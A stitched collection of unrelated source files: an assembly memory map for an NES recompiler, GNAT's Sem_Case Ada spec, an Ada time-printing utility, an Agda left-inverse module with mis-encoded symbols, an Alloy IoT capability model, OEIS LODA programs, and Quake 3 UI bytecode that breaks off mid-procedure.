// 0x300 bytes
.def JMPi_Start 0x1500
// ---------------------------------------------------------------------------
// NES sprite remap when reading from pages outside of WRAM
// 0x100 bytes
.def NesSpriteRemap 0x1c00
// ---------------------------------------------------------------------------
// Shared DP variables range per thread
// 2 bytes followed by a Zero (from DP_Zero), used to speed up XBA + AND #0x00ff
.def DP_Temp 0x1e00
// 4 bytes total with its 4th byte being for dummy writes in 16-bit mode
.def DP_Zero 0x1e02
.def DP_ZeroBank 0x1e04
// ---------------------------------------------------------------------------
// IRQ thread
.addr 0x1d06, 0x1d7f
IRQ_InterruptInProcess:
.fill 2
Nmi_Count:
.fill 2
.def Nmi_Count_TOP 0x0003
Vblank_Busy:
.fill 2
// Debug wait-state and code pointer for resuming execution
Debug_WaitState:
.fill 2
Debug_CodePointer:
.fill 3
// Blue screen wait-state for testing main thread
BlueScreen_WaitState:
.fill 2
// Blue screen CPU register
// Note: DB, P and PC must follow each other in this respective order
BlueScreen_A:
.fill 2
BlueScreen_X:
.fill 2
BlueScreen_Y:
.fill 2
BlueScreen_S:
.fill 2
BlueScreen_DP:
.fill 2
BlueScreen_DB:
.fill 1
BlueScreen_P:
.fill 1
BlueScreen_PC:
.fill 3
// Pointer for verifying whether VramQ overflowed
Vram_Queue_Top:
.fill 3
// 1 bit per paired line of tiles (16 pixels tall), bit 15 unused
Debug_RefreshReq:
.fill 2
// 1 bit set when scanning, 0 if not scanning
Debug_RefreshScan:
.fill 2
// Reading ROM data for debug, contains bank number only
Debug_ReadBank:
.fill 3
// Tile attribute for printing text
Debug_TileAttribute:
.fill 2
// Copy of Idle_CycleCounter for rendering
Debug_LastIdleCycles:
.fill 2
Debug_LastMemoryUsage:
.fill 2
IRQ_VSTACK_START:
.def IRQ_VSTACK_PAGE 0x1d00
//.def IRQ_VSTACK_START
//.def IRQ_STACK 0x1dff
// ---------------------------------------------------------------------------
// Main thread
// Define recompiler lists (11 bytes per list)
.def Recompiler_BranchSrcList 0x1e06
.def Recompiler_BranchDestList 0x1e11
.def Recompiler_FunctionList 0x1e1c
// StaticRec table fast access
.def Recompiler_StaticRec_Table 0x1e27
// Stack pointers for main thread
.def VSTACK_PAGE 0x1e00
.def VSTACK_START 0x1e2a
.def VSTACK_TOP 0x1ebf
.def STACK_TOP 0x1eff
.vstack _VSTACK_START
.vstacktop _VSTACK_TOP
// ---------------------------------------------------------------------------
// Addition lookup table
.def Addition 0x1f00
// ---------------------------------------------------------------------------
// Unused DMA bytes
// DMA byte map (x = used, _ = unused, ! = variable, 0 = always zero, - = linked bytes)
// 0 1 2 3 4 5 6 7 8 9 a b
// Channel 0: x x x x x x x !-!-0-! _
// Channel 1: x x x x x !-! ! x x x _
// Channel 2: x x x x x !-! ! x x x _ <- Unused HDMA channel
// Channel 3: x x x x x _ _ ! x x x _
// Channel 4: x x x x x _ _ _ x x x _
// Channel 5: x x x x x !-!-! x x x _
// Channel 6: x x x x x !-! _ x x x _
// Channel 7: x x x x x !-! _ x x x _ <- Unused HDMA channel
// 16-bit Used to store temporary read/write value for IO ports (directly before zero)
.def IO_Temp16 0x4307
// Always zero
.def IO_TempZero 0x4309
// 8-bit Used to store temporary read/write value for IO ports (directly after zero)
.def IO_Temp 0x430a
// Identifying loops accessing $2002 (LastReturn must be followed by CallCount)
.def IO_2002_LastReturn 0x4315 16-bit
.def IO_2002_CallCount 0x4317 8-bit
// VRAM increment during VramQueue
.def Vram_Queue_PpuAddrInc 0x4325 16-bit
// Port 0x2005-0x2006's high/low access, only uses bit 7 (low = 0, high = 1)
.def IO_HILO 0x4327
// $2002's last value
.def IO_2002 0x4337
// Indirect JMP first destination
.def JMPiU_Action 0x4355
// Defines which memory range is represented by register DB, shares a byte with Indirect_Lda_Action
.def Memory_NesBank 0x4365
// Indirect load/store, indirect 16-bit JMP destinations
.def Indirect_Lda_Action 0x4365
.def Indirect_Sta_Action 0x4375
// ---------------------------------------------------------------------------
// ---------------------------------------------------------------------------
// SRAM feedback for statically recompiling known calls
.addr 0xb16000, 0xb16fff
Feedback_Start:
DefineGlobalVariable Feedback_EmulatorName 21
DefineGlobalVariable Feedback_EmulatorVersion 1
DefineGlobalVariable Feedback_ProfileName 128
DefineGlobalVariable Feedback_Calls_Write 2
DefineGlobalVariable Feedback_Calls_Top 2
Feedback_Calls_LowerBound:
.def Feedback_Calls_UpperBound 0xb16fff
// Incremental step constant
.def Feedback_Inc 0x0003
// ---------------------------------------------------------------------------
// ---------------------------------------------------------------------------
// Managed arrays
// Branch source data structure:
// [0] = 16-bit address of source branch
.def BranchSrc_Start 0x7e2000
.def BranchSrc_End 0x7e27ff
.def BranchSrc_ELength 0x000002
// Branch destination data structure:
// [0] = 16-bit address in currently available banks
// [2] = 16-bit address of the last byte in that range
// [4] = 16-bit address of the recompiled address (0xffff when invalid)
// [6] = 16-bit stack depth
.def BranchDest_Start 0x7e2800
.def BranchDest_End 0x7e2fff
.def BranchDest_ELength 0x000008
// Known calls data structure:
// [0] = 24-bit original address
// [3] = 24-bit recompiled address
// [6] = 16-bit recompiler flags
.def KnownCalls_Start 0x7e3000
.def KnownCalls_End 0x7e4fff
.def KnownCalls_ELength 0x000008
// ---------------------------------------------------------------------------
// PPU data
// PPU's Name tables (0x1000 bytes)
.def Nes_Nametables 0x7e5000
// ---------------------------------------------------------------------------
// Debug nametable
// 0x800 bytes
.def Debug_NameTable 0x7e6000
// ---------------------------------------------------------------------------
// Delayed VRAM access
// Dynamic size but static pointer, see RomInfo_VramQBufferSize
.def Vram_Queue 0x7e6800
// ---------------------------------------------------------------------------
// WRAM clear, last address to be zeroed
.def Wram_Clear_LastAddress 0x7e67ff
// ---------------------------------------------------------------------------
// Memory allocation constants
// Constant values for Memory_Bottom of each bank
.def Memory_HeapStart_7e 0x6800
.def Memory_HeapStart_7f 0x0000
// Constant for the initial HeapStack value (full stack pointer)
.def Memory_HeapStackStart 0xfffa
// ---------------------------------------------------------------------------
// Memory allocation addresses
// HeapStack is where the next free word is for the heap stack, see Memory.asm for more information
.def Memory_HeapStack 0xfffa
// Bottom is a constant based on how much memory was statically allocated
.def Memory_Bottom 0xfffc
// Top is the current top of the heap
.def Memory_Top 0xfffe
|
Validation/pyFrame3DD-master/gcc-master/gcc/ada/sem_case.ads | djamal2727/Main-Bearing-Analytical-Model | 0 | 32 | ------------------------------------------------------------------------------
-- --
-- GNAT COMPILER COMPONENTS --
-- --
-- S E M _ C A S E --
-- --
-- S p e c --
-- --
-- Copyright (C) 1996-2020, Free Software Foundation, Inc. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 3, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License --
-- for more details. You should have received a copy of the GNU General --
-- Public License distributed with GNAT; see file COPYING3. If not, go to --
-- http://www.gnu.org/licenses for a complete copy of the license. --
-- --
-- GNAT was originally developed by the GNAT team at New York University. --
-- Extensive contributions were provided by Ada Core Technologies Inc. --
-- --
------------------------------------------------------------------------------
-- Package containing the routines to process a list of discrete choices.
-- Such lists can occur in two different constructs: case statements and
-- record variants. We have factorized what used to be two very similar
-- sets of routines in one place. These are not currently used for the
-- aggregate case, since issues with nested aggregates make that case
-- substantially different.
-- The following processing is required for such cases:
-- 1. Analysis of names of subtypes, constants, expressions appearing within
-- the choices. This must be done when the construct is encountered to get
-- proper visibility of names.
-- 2. Checking for semantic correctness of the choices. A lot of this could
-- be done at the time when the construct is encountered, but not all, since
-- in the case of variants, statically predicated subtypes won't be frozen
-- (and the choice sets known) till the enclosing record type is frozen. So
-- at least the check for no overlaps and covering the range must be delayed
-- till the freeze point in this case.
-- 3. Set the Others_Discrete_Choices list for an others choice. This is
-- used in various ways, e.g. to construct the disriminant checking function
-- for the case of a variant with an others choice.
-- 4. In the case of static predicates, we need to expand out choices that
-- correspond to the predicate for the back end. This expansion destroys
-- the list of choices, so it should be delayed to expansion time.
-- Step 1 is performed by the generic procedure Analyze_Choices, which is
-- called when the variant record or case statement/expression is first
-- encountered.
-- Step 2 is performed by the generic procedure Check_Choices. We decide to
-- do all semantic checking in that step, since as noted above some of this
-- has to be deferred to the freeze point in any case for variants. For case
-- statements and expressions, this procedure can be called at the time the
-- case construct is encountered (after calling Analyze_Choices).
-- Step 3 is also performed by Check_Choices, since we need the static ranges
-- for predicated subtypes to accurately construct this.
-- Step 4 is performed by the procedure Expand_Static_Predicates_In_Choices.
-- For case statements, this call only happens during expansion. The reason
-- we do the expansion unconditionally for variants is that other processing,
-- for example for aggregates, relies on having a complete list of choices.
-- Historical note: We used to perform all four of these functions at once in
-- a single procedure called Analyze_Choices. This routine was called at the
-- time the construct was first encountered. That seemed to work OK up to Ada
-- 2005, but the introduction of statically predicated subtypes with delayed
-- evaluation of the static ranges made this completely wrong, both because
-- the ASIS tree got destroyed by step 4, and steps 2 and 3 were too early
-- in the variant record case.
with Types; use Types;
package Sem_Case is
procedure No_OP (C : Node_Id);
-- The no-operation routine. Does mostly nothing. Can be used
-- in the following generics for the parameters Process_Empty_Choice,
-- or Process_Associated_Node. In the case of an empty range choice,
-- routine emits a warning when Warn_On_Redundant_Constructs is enabled.
generic
with procedure Process_Associated_Node (A : Node_Id);
-- Associated with each case alternative or record variant A there is
-- a node or list of nodes that need additional processing. This routine
-- implements that processing.
package Generic_Analyze_Choices is
procedure Analyze_Choices
(Alternatives : List_Id;
Subtyp : Entity_Id);
-- From a case expression, case statement, or record variant, this
-- routine analyzes the corresponding list of discrete choices which
-- appear in each element of the list Alternatives (for the variant
-- part case, this is the variants, for a case expression or statement,
-- this is the Alternatives).
--
-- Subtyp is the subtype of the discrete choices. The type against which
-- the discrete choices must be resolved is its base type.
end Generic_Analyze_Choices;
generic
with procedure Process_Empty_Choice (Choice : Node_Id);
-- Processing to carry out for an empty Choice. Set to No_Op (declared
-- above) if no such processing is required.
with procedure Process_Non_Static_Choice (Choice : Node_Id);
-- Processing to carry out for a non static Choice (gives an error msg)
with procedure Process_Associated_Node (A : Node_Id);
-- Associated with each case alternative or record variant A there is
-- a node or list of nodes that need semantic processing. This routine
-- implements that processing.
package Generic_Check_Choices is
procedure Check_Choices
(N : Node_Id;
Alternatives : List_Id;
Subtyp : Entity_Id;
Others_Present : out Boolean);
-- From a case expression, case statement, or record variant N, this
-- routine analyzes the corresponding list of discrete choices which
-- appear in each element of the list Alternatives (for the variant
-- part case, this is the variants, for a case expression or statement,
-- this is the Alternatives).
--
-- Subtyp is the subtype of the discrete choices. The type against which
-- the discrete choices must be resolved is its base type.
--
-- Others_Present is set to True if an Others choice is present in the
-- list of choices, and in this case Others_Discrete_Choices is set in
-- the N_Others_Choice node.
--
-- If a Discrete_Choice list contains at least one instance of a subtype
-- with a static predicate, then the Has_SP_Choice flag is set true in
-- the parent node (N_Variant, N_Case_Expression/Statement_Alternative).
end Generic_Check_Choices;
end Sem_Case;
|
ada_time.adb | micahwelf/ada_launch | 0 | 28222 | <gh_stars>0
with Ada.Text_IO;
with Ada.Streams;
with Ada.Characters.Latin_1;
with Ada.Text_IO.Text_Streams;
with Ada.Streams.Stream_IO;
with Ada.Calendar;
with Ada.Calendar.Time_Zones;
with Ada.Calendar.Formatting;
with Ada.Command_Line;
with GNAT.Calendar.Time_IO;
with GNAT.Regpat;
with GNAT.Formatted_String;
with Ada.Storage_IO;
--with AWS;
procedure Ada_Time is
use Ada.Text_IO;
use Ada.Characters.Latin_1;
use Ada.Text_IO.Text_Streams;
use Ada.Calendar;
use Ada.Calendar.Time_Zones;
use Ada.Command_Line;
use GNAT.Calendar.Time_IO;
Now : Time := Clock;
function Unix_Time return Time is
use Ada.Calendar.Formatting;
U_Year : Year_Number;
U_Month : Month_Number;
U_Day : Day_Number;
U_Hour : Hour_Number;
U_Minute : Minute_Number;
U_Second : Second_Number;
U_Duration : Second_Duration;
begin
Split
(Date => Now,
Year => U_Year,
Month => U_Month,
Day => U_Day,
Hour => U_Hour,
Minute => U_Minute,
Second => U_Second,
Sub_Second => U_Duration,
Time_Zone => 0);
return Time_Of
(Year => U_Year,
Month => U_Month,
Day => U_Day,
Hour => U_Hour,
Minute => U_Minute,
Second => U_Second,
Sub_Second => U_Duration,
Time_Zone => UTC_Time_Offset);
end Unix_Time;
function To_Multimedia
(Time : String;
Fraction : Boolean := True) return String
-- Convert pure seconds ***.*** to multimedia time string **h**m**s Fraction
-- boolean value specifies whether to include the fractional part of the
-- time: **h**m**.***s
is
begin
null;
return "";
end To_Multimedia;
function To_Clock
(Time : String;
Fraction : Boolean := True) return String
-- Convert pure seconds ***.*** to multimedia time string **:**:** Fraction
-- boolean value specifies whether to include the fractional part of the
-- time: **h**m**.***s
is
begin
null;
return "";
end To_Clock;
function To_Seconds (Time : String) return String
-- Convert a Multimedia time string **h**m**s or **:**:**.*** to pure
-- seconds ***.***
is
begin
null;
return "";
end To_Seconds;
function "+" (Left : String; Right : String) return String is
use Ada.Characters.Latin_1;
begin
return Left & LF & Right;
end "+";
-- Unix_Time : Time :=
-- Value (Date => Image (Date => Now, Include_Time_Fraction => True),
-- Time_Zone => UTC_Time_Offset);
begin
for A in 1 .. Argument_Count loop
if Argument (A) = "-iso" or
Argument (A) = "-I" or
Argument (A) = "-i"
then
String'Write
(Stream (Current_Output),
Image (Date => Now, Picture => "%Y-%m-%d"));
elsif Argument (A) = "-n" or Argument (A) = "-nano" then
String'Write
(Stream (Current_Output),
Image (Date => Unix_Time, Picture => "%s.%o"));
elsif Argument (A) (1) = '+' then
declare
Feature_Argument : String := Argument (A);
begin
String'Write
(Stream (Current_Output),
Image
(Date => Now,
Picture =>
Picture_String
(Feature_Argument
(Feature_Argument'First + 1 ..
Feature_Argument'Last))));
end;
elsif Argument (A) = "-h" or Argument (A) = "--help" then
String'Write
(Stream (Current_Error),
Command_Name &
" [ -n ] [ +<format_string> ] [ -I ]" +
"" +
"Print unix time in base 10 by default." +
"With '-n', include nano seconds." +
"With '-i', '-I', or '--iso' print ISO date." +
"With a custom format string starting with '+', print current time with given GNU Date format." +
"With '-h' or '--help' print this message." +
"With '-g' or '--gnu-help' print the Gnat GNU Date format directives." +
"" +
"(c) <NAME> <<EMAIL>>");
elsif Argument (A) = "-g" or Argument (A) = "--gnu-help" then
String'Write
(Stream (Current_Error),
" % a literal %" +
" n a newline" +
" t a horizontal tab" +
"" +
" Time fields:" +
"" +
" %H hour (00..23)" +
" %I hour (01..12)" +
" %k hour ( 0..23)" +
" %l hour ( 1..12)" +
" %M minute (00..59)" +
" %p locale's AM or PM" +
" %r time, 12-hour (hh:mm:ss [AP]M)" +
" %s seconds since 1970-01-01 00:00:00 UTC" +
" (a nonstandard extension)" +
" %S second (00..59)" +
" %T time, 24-hour (hh:mm:ss)" +
"" +
" Date fields:" +
"" +
" %a locale's abbreviated weekday name (Sun..Sat)" +
" %A locale's full weekday name, variable length" +
" (Sunday..Saturday)" +
" %b locale's abbreviated month name (Jan..Dec)" +
" %B locale's full month name, variable length" +
" (January..December)" +
" %c locale's date and time (Sat Nov 04 12:02:33 EST 1989)" +
" %d day of month (01..31)" +
" %D date (mm/dd/yy)" +
" %h same as %b" +
" %j day of year (001..366)" +
" %m month (01..12)" +
" %U week number of year with Sunday as first day of week" +
" (00..53)" +
" %w day of week (0..6) with 0 corresponding to Sunday" +
" %W week number of year with Monday as first day of week" +
" (00..53)" +
" %x locale's date representation (mm/dd/yy)" +
" %y last two digits of year (00..99)" +
" %Y year (1970...)" +
"" +
" By default, date pads numeric fields with zeroes. GNU date" +
" recognizes the following nonstandard numeric modifiers:" +
"" +
" - (hyphen) do not pad the field" +
" _ (underscore) pad the field with spaces" +
"" +
" Here are some GNAT extensions to the GNU Date specification:" +
"" +
" %i milliseconds (3 digits)" +
" %e microseconds (6 digits)" +
" %o nanoseconds (9 digits)" +
"" +
"" &
Copyright_Sign &
"(c) Free Software Foundation, Inc. -- GNAT, the Ada Compiler" +
"(c) <NAME> <<EMAIL>>");
else
String'Write
(Stream (Current_Output),
Image (Date => Unix_Time, Picture => "%s"));
end if;
end loop;
if Argument_Count = 0 then
String'Write
(Stream (Current_Output),
Image (Date => Unix_Time, Picture => "%s"));
end if;
end Ada_Time;
-- This is a string to describe date and time output format. The string
-- is a set of standard character and special tag that are replaced by the
-- corresponding values. It follows the GNU Date specification. Here are the
-- recognized directives :
--
-- % a literal %
-- n a newline
-- t a horizontal tab
--
-- Time fields:
--
-- %H hour (00..23)
-- %I hour (01..12)
-- %k hour ( 0..23)
-- %l hour ( 1..12)
-- %M minute (00..59)
-- %p locale's AM or PM
-- %r time, 12-hour (hh:mm:ss [AP]M)
-- %s seconds since 1970-01-01 00:00:00 UTC
-- (a nonstandard extension)
-- %S second (00..59)
-- %T time, 24-hour (hh:mm:ss)
--
-- Date fields:
--
-- %a locale's abbreviated weekday name (Sun..Sat)
-- %A locale's full weekday name, variable length
-- (Sunday..Saturday)
-- %b locale's abbreviated month name (Jan..Dec)
-- %B locale's full month name, variable length
-- (January..December)
-- %c locale's date and time (Sat Nov 04 12:02:33 EST 1989)
-- %d day of month (01..31)
-- %D date (mm/dd/yy)
-- %h same as %b
-- %j day of year (001..366)
-- %m month (01..12)
-- %U week number of year with Sunday as first day of week
-- (00..53)
-- %w day of week (0..6) with 0 corresponding to Sunday
-- %W week number of year with Monday as first day of week
-- (00..53)
-- %x locale's date representation (mm/dd/yy)
-- %y last two digits of year (00..99)
-- %Y year (1970...)
--
-- By default, date pads numeric fields with zeroes. GNU date
-- recognizes the following nonstandard numeric modifiers:
--
-- - (hyphen) do not pad the field
-- _ (underscore) pad the field with spaces
--
-- Here are some GNAT extensions to the GNU Date specification:
--
-- %i milliseconds (3 digits)
-- %e microseconds (6 digits)
-- %o nanoseconds (9 digits)
|
agda-stdlib-0.9/src/Function/LeftInverse.agda | qwe2/try-agda | 1 | 901 | <reponame>qwe2/try-agda<filename>agda-stdlib-0.9/src/Function/LeftInverse.agda
------------------------------------------------------------------------
-- The Agda standard library
--
-- Left inverses
------------------------------------------------------------------------
module Function.LeftInverse where
open import Data.Product
open import Level
import Relation.Binary.EqReasoning as EqReasoning
open import Relation.Binary
open import Function.Equality as Eq
using (_βΆ_; _β¨$β©_) renaming (_β_ to _βͺββ«_)
open import Function.Equivalence using (Equivalence)
open import Function.Injection using (Injective; Injection)
import Relation.Binary.PropositionalEquality as P
-- Left and right inverses.
_LeftInverseOf_ :
β {fβ fβ tβ tβ} {From : Setoid fβ fβ} {To : Setoid tβ tβ} β
To βΆ From β From βΆ To β Set _
_LeftInverseOf_ {From = From} f g = β x β f β¨$β© (g β¨$β© x) β x
where open Setoid From
_RightInverseOf_ :
β {fβ fβ tβ tβ} {From : Setoid fβ fβ} {To : Setoid tβ tβ} β
To βΆ From β From βΆ To β Set _
f RightInverseOf g = g LeftInverseOf f
-- The set of all left inverses between two setoids.
record LeftInverse {fβ fβ tβ tβ}
(From : Setoid fβ fβ) (To : Setoid tβ tβ) :
Set (fβ β fβ β tβ β tβ) where
field
to : From βΆ To
from : To βΆ From
left-inverse-of : from LeftInverseOf to
private
open module F = Setoid From
open module T = Setoid To
open EqReasoning From
injective : Injective to
injective {x} {y} eq = begin
x ββ¨ F.sym (left-inverse-of x) β©
from β¨$β© (to β¨$β© x) ββ¨ Eq.cong from eq β©
from β¨$β© (to β¨$β© y) ββ¨ left-inverse-of y β©
y β
injection : Injection From To
injection = record { to = to; injective = injective }
equivalence : Equivalence From To
equivalence = record
{ to = to
; from = from
}
to-from : β {x y} β to β¨$β© x T.β y β from β¨$β© y F.β x
to-from {x} {y} to-xβy = begin
from β¨$β© y ββ¨ Eq.cong from (T.sym to-xβy) β©
from β¨$β© (to β¨$β© x) ββ¨ left-inverse-of x β©
x β
-- The set of all right inverses between two setoids.
RightInverse : β {fβ fβ tβ tβ}
(From : Setoid fβ fβ) (To : Setoid tβ tβ) β Set _
RightInverse From To = LeftInverse To From
-- The set of all left inverses from one set to another. (Read AΒ βΒ B
-- as "surjection from B to A".)
infix 3 _β_
_β_ : β {f t} β Set f β Set t β Set _
From β To = LeftInverse (P.setoid From) (P.setoid To)
-- Identity and composition.
id : β {sβ sβ} {S : Setoid sβ sβ} β LeftInverse S S
id {S = S} = record
{ to = Eq.id
; from = Eq.id
; left-inverse-of = Ξ» _ β Setoid.refl S
}
infixr 9 _β_
_β_ : β {fβ fβ mβ mβ tβ tβ}
{F : Setoid fβ fβ} {M : Setoid mβ mβ} {T : Setoid tβ tβ} β
LeftInverse M T β LeftInverse F M β LeftInverse F T
_β_ {F = F} f g = record
{ to = to f βͺββ« to g
; from = from g βͺββ« from f
; left-inverse-of = Ξ» x β begin
from g β¨$β© (from f β¨$β© (to f β¨$β© (to g β¨$β© x))) ββ¨ Eq.cong (from g) (left-inverse-of f (to g β¨$β© x)) β©
from g β¨$β© (to g β¨$β© x) ββ¨ left-inverse-of g x β©
x β
}
where
open LeftInverse
open EqReasoning F
|
FormalAnalyzer/models/meta/cap_rapidCooling.als | Mohannadcse/IoTCOM_BehavioralRuleExtractor | 0 | 1452 | <filename>FormalAnalyzer/models/meta/cap_rapidCooling.als
// filename: cap_rapidCooling.als
module cap_rapidCooling
open IoTBottomUp
one sig cap_rapidCooling extends Capability {}
{
attributes = cap_rapidCooling_attr
}
abstract sig cap_rapidCooling_attr extends Attribute {}
one sig cap_rapidCooling_attr_rapidCooling extends cap_rapidCooling_attr {}
{
values = cap_rapidCooling_attr_rapidCooling_val
}
abstract sig cap_rapidCooling_attr_rapidCooling_val extends AttrValue {}
one sig cap_rapidCooling_attr_rapidCooling_val_off extends cap_rapidCooling_attr_rapidCooling_val {}
one sig cap_rapidCooling_attr_rapidCooling_val_on extends cap_rapidCooling_attr_rapidCooling_val {}
|
programs/oeis/187/A187180.asm | neoneye/loda | 22 | 89152 | <reponame>neoneye/loda<filename>programs/oeis/187/A187180.asm
; A187180: Parse the infinite string 0101010101... into distinct phrases 0, 1, 01, 010, 10, ...; a(n) = length of n-th phrase.
; 1,1,2,3,2,3,4,5,4,5,6,7,6,7,8,9,8,9,10,11,10,11,12,13,12,13,14,15,14,15,16,17,16,17,18,19,18,19,20,21,20,21,22,23,22,23,24,25,24,25,26,27,26,27,28,29,28,29,30,31,30,31,32,33,32,33,34,35,34,35,36,37,36,37,38,39,38,39,40,41,40,41,42,43,42,43,44,45,44,45,46,47,46,47,48,49,48,49,50,51
mov $1,$0
mod $1,4
add $0,$1
sub $0,1
div $0,2
add $0,1
|
programs/oeis/140/A140788.asm | karttu/loda | 1 | 241470 | ; A140788: a(n) = 6*4^n + 2.
; 8,26,98,386,1538,6146,24578,98306,393218,1572866,6291458,25165826,100663298,402653186,1610612738,6442450946,25769803778,103079215106,412316860418,1649267441666,6597069766658,26388279066626,105553116266498,422212465065986,1688849860263938,6755399441055746
mov $1,4
pow $1,$0
mul $1,6
add $1,2
|
ioq3/build/release-js-js/baseq3/ui/ui_playersettings.asm | RawTechnique/quake-port | 1 | 19047 | data
align 4
LABELV gamecodetoui
byte 4 4
byte 4 2
byte 4 3
byte 4 0
byte 4 5
byte 4 1
byte 4 6
align 4
LABELV uitogamecode
byte 4 4
byte 4 6
byte 4 2
byte 4 3
byte 4 1
byte 4 5
byte 4 7
align 4
LABELV handicap_items
address $69
address $70
address $71
address $72
address $73
address $74
address $75
address $76
address $77
address $78
address $79
address $80
address $81
address $82
address $83
address $84
address $85
address $86
address $87
address $88
byte 4 0
code
proc PlayerSettings_DrawName 100 20
ADDRLP4 32
ADDRFP4 0
INDIRP4
ASGNP4
ADDRLP4 36
ADDRLP4 32
INDIRP4
CNSTI4 12
ADDP4
INDIRI4
ASGNI4
ADDRLP4 24
ADDRLP4 32
INDIRP4
CNSTI4 16
ADDP4
INDIRI4
ASGNI4
ADDRLP4 32
INDIRP4
CNSTI4 36
ADDP4
INDIRP4
INDIRI4
ADDRLP4 32
INDIRP4
CNSTI4 40
ADDP4
INDIRI4
NEI4 $91
ADDRLP4 72
CNSTI4 1
ASGNI4
ADDRGP4 $92
JUMPV
LABELV $91
ADDRLP4 72
CNSTI4 0
ASGNI4
LABELV $92
ADDRLP4 28
ADDRLP4 72
INDIRI4
ASGNI4
ADDRLP4 20
CNSTI4 16
ASGNI4
ADDRLP4 12
ADDRGP4 text_color_normal
ASGNP4
ADDRLP4 28
INDIRI4
CNSTI4 0
EQI4 $93
ADDRLP4 20
ADDRLP4 20
INDIRI4
CNSTI4 16384
BORI4
ASGNI4
ADDRLP4 12
ADDRGP4 text_color_highlight
ASGNP4
LABELV $93
ADDRLP4 36
INDIRI4
ARGI4
ADDRLP4 24
INDIRI4
ARGI4
ADDRGP4 $95
ARGP4
ADDRLP4 20
INDIRI4
ARGI4
ADDRLP4 12
INDIRP4
ARGP4
ADDRGP4 UI_DrawProportionalString
CALLV
pop
ADDRLP4 36
ADDRLP4 36
INDIRI4
CNSTI4 64
ADDI4
ASGNI4
ADDRLP4 24
ADDRLP4 24
INDIRI4
CNSTI4 27
ADDI4
ASGNI4
ADDRLP4 0
ADDRLP4 32
INDIRP4
CNSTI4 72
ADDP4
ASGNP4
ADDRLP4 12
ADDRGP4 g_color_table+112
ASGNP4
ADDRLP4 8
ADDRLP4 36
INDIRI4
ASGNI4
ADDRGP4 $98
JUMPV
LABELV $97
ADDRLP4 80
CNSTI4 0
ASGNI4
ADDRLP4 28
INDIRI4
ADDRLP4 80
INDIRI4
NEI4 $100
ADDRLP4 0
INDIRP4
CVPU4 4
CNSTU4 0
EQU4 $100
ADDRLP4 0
INDIRP4
INDIRI1
CVII4 1
CNSTI4 94
NEI4 $100
ADDRLP4 88
ADDRLP4 0
INDIRP4
CNSTI4 1
ADDP4
INDIRI1
CVII4 1
ASGNI4
ADDRLP4 88
INDIRI4
ADDRLP4 80
INDIRI4
EQI4 $100
ADDRLP4 88
INDIRI4
CNSTI4 65
LTI4 $103
ADDRLP4 88
INDIRI4
CNSTI4 90
LEI4 $102
LABELV $103
ADDRLP4 92
ADDRLP4 0
INDIRP4
CNSTI4 1
ADDP4
INDIRI1
CVII4 1
ASGNI4
ADDRLP4 92
INDIRI4
CNSTI4 97
LTI4 $104
ADDRLP4 92
INDIRI4
CNSTI4 122
LEI4 $102
LABELV $104
ADDRLP4 96
ADDRLP4 0
INDIRP4
CNSTI4 1
ADDP4
INDIRI1
CVII4 1
ASGNI4
ADDRLP4 96
INDIRI4
CNSTI4 48
LTI4 $100
ADDRLP4 96
INDIRI4
CNSTI4 57
GTI4 $100
LABELV $102
ADDRLP4 16
ADDRLP4 0
INDIRP4
CNSTI4 1
ADDP4
INDIRI1
CVII4 1
CNSTI4 48
SUBI4
CNSTI4 7
BANDI4
ASGNI4
ADDRLP4 16
INDIRI4
CNSTI4 0
NEI4 $105
ADDRLP4 16
CNSTI4 7
ASGNI4
LABELV $105
ADDRLP4 12
ADDRLP4 16
INDIRI4
CNSTI4 4
LSHI4
ADDRGP4 g_color_table
ADDP4
ASGNP4
ADDRLP4 0
ADDRLP4 0
INDIRP4
CNSTI4 2
ADDP4
ASGNP4
ADDRGP4 $98
JUMPV
LABELV $100
ADDRLP4 8
INDIRI4
ARGI4
ADDRLP4 24
INDIRI4
ARGI4
ADDRLP4 4
INDIRI1
CVII4 1
ARGI4
ADDRLP4 20
INDIRI4
ARGI4
ADDRLP4 12
INDIRP4
ARGP4
ADDRGP4 UI_DrawChar
CALLV
pop
ADDRLP4 0
ADDRLP4 0
INDIRP4
CNSTI4 1
ADDP4
ASGNP4
ADDRLP4 8
ADDRLP4 8
INDIRI4
CNSTI4 8
ADDI4
ASGNI4
LABELV $98
ADDRLP4 80
ADDRLP4 0
INDIRP4
INDIRI1
ASGNI1
ADDRLP4 4
ADDRLP4 80
INDIRI1
ASGNI1
ADDRLP4 80
INDIRI1
CVII4 1
CNSTI4 0
NEI4 $97
ADDRLP4 28
INDIRI4
CNSTI4 0
EQI4 $107
ADDRLP4 84
ADDRGP4 trap_Key_GetOverstrikeMode
CALLI4
ASGNI4
ADDRLP4 84
INDIRI4
CNSTI4 0
EQI4 $109
ADDRLP4 4
CNSTI1 11
ASGNI1
ADDRGP4 $110
JUMPV
LABELV $109
ADDRLP4 4
CNSTI1 10
ASGNI1
LABELV $110
ADDRLP4 20
ADDRLP4 20
INDIRI4
CNSTI4 -16385
BANDI4
ASGNI4
ADDRLP4 20
ADDRLP4 20
INDIRI4
CNSTI4 4096
BORI4
ASGNI4
ADDRLP4 36
INDIRI4
ADDRLP4 32
INDIRP4
CNSTI4 60
ADDP4
INDIRI4
CNSTI4 3
LSHI4
ADDI4
ARGI4
ADDRLP4 24
INDIRI4
ARGI4
ADDRLP4 4
INDIRI1
CVII4 1
ARGI4
ADDRLP4 20
INDIRI4
ARGI4
ADDRGP4 color_white
ARGP4
ADDRGP4 UI_DrawChar
CALLV
pop
LABELV $107
ADDRLP4 40
ARGP4
ADDRLP4 32
INDIRP4
CNSTI4 72
ADDP4
ARGP4
CNSTI4 32
ARGI4
ADDRGP4 Q_strncpyz
CALLV
pop
ADDRLP4 40
ARGP4
ADDRGP4 Q_CleanStr
CALLP4
pop
CNSTI4 320
ARGI4
CNSTI4 440
ARGI4
ADDRLP4 40
ARGP4
CNSTI4 33
ARGI4
ADDRGP4 text_color_normal
ARGP4
ADDRGP4 UI_DrawProportionalString
CALLV
pop
LABELV $89
endproc PlayerSettings_DrawName 100 20
proc PlayerSettings_DrawHandicap 36 20
ADDRLP4 0
ADDRFP4 0
INDIRP4
ASGNP4
ADDRLP4 0
INDIRP4
CNSTI4 36
ADDP4
INDIRP4
INDIRI4
